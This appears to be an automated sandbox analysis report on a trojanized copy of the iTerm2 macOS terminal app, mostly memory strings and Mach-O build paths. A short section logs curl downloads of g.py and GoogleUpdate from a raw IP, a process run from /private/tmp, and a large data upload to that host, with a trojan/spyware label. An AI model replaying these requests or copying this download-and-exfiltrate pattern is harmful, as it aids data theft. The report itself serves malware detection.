Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/search_syntax.htmldescriptorsguidsNSAscendingSortIndicatorNSDescendingSortIndicat
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/shell_integration.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/shell_integration/install_shell_integration.sh
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/shell_integration/install_shell_integration_and_utilities.sh
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/slow_triggers
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/slow_triggersA
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/status-bar-layout
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/troubleshoot-hostname
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/troubleshoot-hostnameConnect
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/why_no_content.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://iterm2.com/why_no_content.htmlSession
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://patreon.com/gnachman
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://patreon.com/gnachmanPatreon
Source: iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	String found in binary or memory: https://sparkle-project.org/documentation/
Source: iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	String found in binary or memory: https://sparkle-project.org/documentation/app-transport-security/
Source: iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	String found in binary or memory: https://sparkle-project.org/documentation/app-transport-security/WARNING:
Source: iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	String found in binary or memory: https://sparkle-project.org/documentation/app-transport-security/v16
Source: iTerm2, 00001036.00000305.1.000000010f0de000.000000010f936000.r--.sdmp	String found in binary or memory: https://www.apple.com/appleca/0
Source: iTerm2, 00001036.00000305.1.000000010f0de000.000000010f936000.r--.sdmp	String found in binary or memory: https://www.apple.com/certificateauthority/0
Source: iTerm2, 00001036.00000305.1.000000010fe3d000.000000010fe75000.r-x.sdmp	String found in binary or memory: https://www.baidu.com
Source: iTerm2, 00001036.00000305.1.000000010fe3d000.000000010fe75000.r-x.sdmp	String found in binary or memory: https://www.baidu.com%
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://www.iterm2.com/colorgallery
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://www.iterm2.com/documentation-triggers.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://www.iterm2.com/documentation-utilities.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://www.iterm2.com/documentation.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://www.iterm2.com/documentation.htmlv16
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://www.iterm2.com/smartselection.html
Source: iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	String found in binary or memory: https://www.iterm2.com/triggers.html

Source: unknown

HTTP traffic detected: POST /u.php?id=C07SW433G1HW HTTP/1.1Host: 47.75.123.111User-Agent: curl/7.54.0Accept: */*Content-Length: 58417Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------a3332522a7868bd4

Source: /private/tmp/GoogleUpdate (PID: 1124)

Reads from socket in process: data

Jump to behavior

Source: unknown

DNS traffic detected: queries for: iterm2.com

Source: global traffic	HTTP traffic detected: GET /g.py HTTP/1.1Host: 47.75.123.111User-Agent: curl/7.54.0Accept: /
Source: global traffic	HTTP traffic detected: GET /GoogleUpdate HTTP/1.1Host: 47.75.123.111User-Agent: curl/7.54.0Accept: /

Source: unknown	HTTPS traffic detected: 172.67.184.27:443 -> 192.168.0.51:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.211.32.74:443 -> 192.168.0.51:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.211.32.74:443 -> 192.168.0.51:49780 version: TLS 1.2

Source: classification engine

Classification label: mal76.troj.spyw.evad.mac@0/606@2/0

Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\ShellLauncher	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ShellLauncher/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\ShellLauncher	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\ShellLauncher	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/ShellLauncher.build/Objects-normal/x86_64/main.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\ShellLauncher	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/ShellLauncher.build/Objects-normal/x86_64/shell_launcher.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\ShellLauncher	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ShellLauncher/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\ShellLauncher	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\ShellLauncher	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/ShellLauncher.build/Objects-normal/arm64/main.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\ShellLauncher	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/ShellLauncher.build/Objects-normal/arm64/shell_launcher.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/x86_64/iTermResourceLimitsHelper.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/x86_64/iTermTTYState.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/x86_64/iTermMultiServerProtocol.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/x86_64/iTermPosixTTYReplacements.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/x86_64/iTermFileDescriptorMultiServer.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/x86_64/iTermFileDescriptorServerShared.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/x86_64/iTermClientServerProtocol.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/arm64/iTermResourceLimitsHelper.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/arm64/iTermTTYState.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/arm64/iTermMultiServerProtocol.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/arm64/iTermPosixTTYReplacements.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/arm64/iTermFileDescriptorMultiServer.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/arm64/iTermFileDescriptorServerShared.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTermServer.build/Objects-normal/arm64/iTermClientServerProtocol.o
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/iTerm2SandboxedWorker/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/iTerm2SandboxedWorker/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/iTerm2SandboxedWorker/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/iTerm2SandboxedWorker/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/x86_64/iTermImage.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/x86_64/main.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/x86_64/iTermImage+ImageWithData.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/x86_64/iTermImage+Sixel.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/x86_64/iTerm2SandboxedWorker.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/Deployment/libiTerm2SharedARC.a(iTermSandboxedWorkerClient.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/Deployment/libiTerm2SharedARC.a(iTermUserDefaultsObserver.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/Deployment/libiTerm2Shared.a(DebugLogging.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/Deployment/libiTerm2SharedARC.a(iTermAdvancedSettingsModel.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/sources/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/iTerm2SandboxedWorker/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/iTerm2SandboxedWorker/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/iTerm2SandboxedWorker/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/iTerm2SandboxedWorker/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/arm64/iTermImage.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/arm64/main.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/arm64/iTermImage+ImageWithData.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/arm64/iTermImage+Sixel.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/iTerm2SandboxedWorker.build/Objects-normal/arm64/iTerm2SandboxedWorker.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/Deployment/libiTerm2SharedARC.a(iTermSandboxedWorkerClient.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/Deployment/libiTerm2SharedARC.a(iTermUserDefaultsObserver.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/Deployment/libiTerm2Shared.a(DebugLogging.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\iTerm2SandboxedWorker.xpc\Contents\MacOS\iTerm2SandboxedWorker	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/Deployment/libiTerm2SharedARC.a(iTermAdvancedSettingsModel.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/allocators/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/allocators/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/hash/sha1/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/hash/sha1/sha1dc/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/hash/sha1/sha1dc/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/unix/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/unix/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
